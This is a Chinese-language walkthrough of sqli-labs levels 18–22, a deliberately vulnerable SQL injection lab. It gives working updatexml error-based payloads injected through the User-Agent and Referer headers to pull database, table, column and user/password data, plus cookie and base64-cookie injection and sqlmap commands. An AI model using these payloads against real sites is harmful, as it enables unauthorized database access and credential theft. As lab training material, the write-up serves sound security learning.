sqli-labs(18-22)

目录

Less-18

输入正确的用户名(admin),密码(admin),登录成功,并返回User-Agent信息:
sqli-labs(18-22)
根据关卡描述,也知道其为User-Agent头注入;这里使用火狐浏览器的插件(Modify Headers),或者burp suite抓包进行User-Agent头注入。
sqli-labs(18-22)
根据上图的sql语句信息,发现分别返回User-Agent、IP地址和username,
所以我们在构造sql语句时,需要满足三个注入信息,这里我们使用updatexml进行报错注入:

1:

‘or updatexml (1,(concat(0x7e,(select database()),0x7e)),1),’ ‘,’ ')

后面两个单引号对,分别用来表示IP地址和username

2:

'or updatexml (1,(concat(0x7e,(select database()),0x7e)),1) or ‘1’='1

使用or '1'='1将后面的单引号闭合:

sqli-labs(18-22)
具体步骤如下:

使用插件:
1.打开插件,添加request headerssqli-labs(18-22)
2.添加User-Agent头和对应数据(sql语句)
sqli-labs(18-22)
3.输入正确的username和password,得到数据库名:
sqli-labs(18-22)
4.获得表:

'or updatexml (1,(concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e)),1),' ',' ')  #  

5.获得列:

'or updatexml (1,(concat(0x7e,(select column_name from information_schema.columns where table_name='user' limit 0,1),0x7e)),1),' ',' ')  #  

6.获得数据:

'or updatexml (1,(concat(0x7e,(select concat(username,0x7e,password) from users limit 0,1),0x7e)),1),' ',' ')  #  

也可以使用抓包工具对user-agent头进行修改。

使用sqlmap
抓包获得请求信息,并保存为txt文件:
sqli-labs(18-22)
* 选择注入位置

sqlmap.py -r txt文件路径 --level 3 --dbs --batch

Less-19

根据题目描述,对 Referer 头进行了注入。

可以使用抓包工具构造sql语句和sqlmap与第18关大同小异。

这里使用火狐浏览器插件(Modify Headers)进行sql语句的插入。

1: 打开插件,添加Referer头。
sqli-labs(18-22)

2: 构造sql语句,添加到value。
sqli-labs(18-22)
根据源码显示的sql语句,发现回显参数为referers和IP地址;所以构造sql语句时,可以使用一个单引号对表示IP地址,或者构造'1'='1 进行闭合。

两种语句如下:

'or updatexml (1,(concat(0x7e,(select database()),0x7e)),1),' ')  # 
'or updatexml (1,(concat(0x7e,(select database()),0x7e)),1) or '1'='1 

其余步骤与18关大同小异。

Less-20

根据题目描述,cookie存在注入,输入username和password,得到如下显示信息:
sqli-labs(18-22)
这里使用插件Cookie Editor:
sqli-labs(18-22)
根据源码中的sql语句发现,属于单引号闭合的字符类型注入。

进一步发现使用 order by语句貌似没什么卵用,所以直接使用 union select 判断回显位置:
sqli-labs(18-22)
这关基本上到这里就结束了。

Less-21

这关与上一关的不同之处在于,cookie使用了base64编码;所以,构造的sql语句要使用base64进行编码;并且使用 ') 进行闭合。
还需要注意一点,base64编码的不同可能导致成功的与否。

这里使用sqlmap跑一下:

sqlmap.py -r xxx.txt --tamper=“base64encode.py” --batch --dbs --level 3

sqli-labs(18-22)

Less-22

使用base64编码,并且 ") 闭合。其余与21关类似。

上一篇:XSS之xss-labs-level10


下一篇:【sqli-labs】闯关记录5~10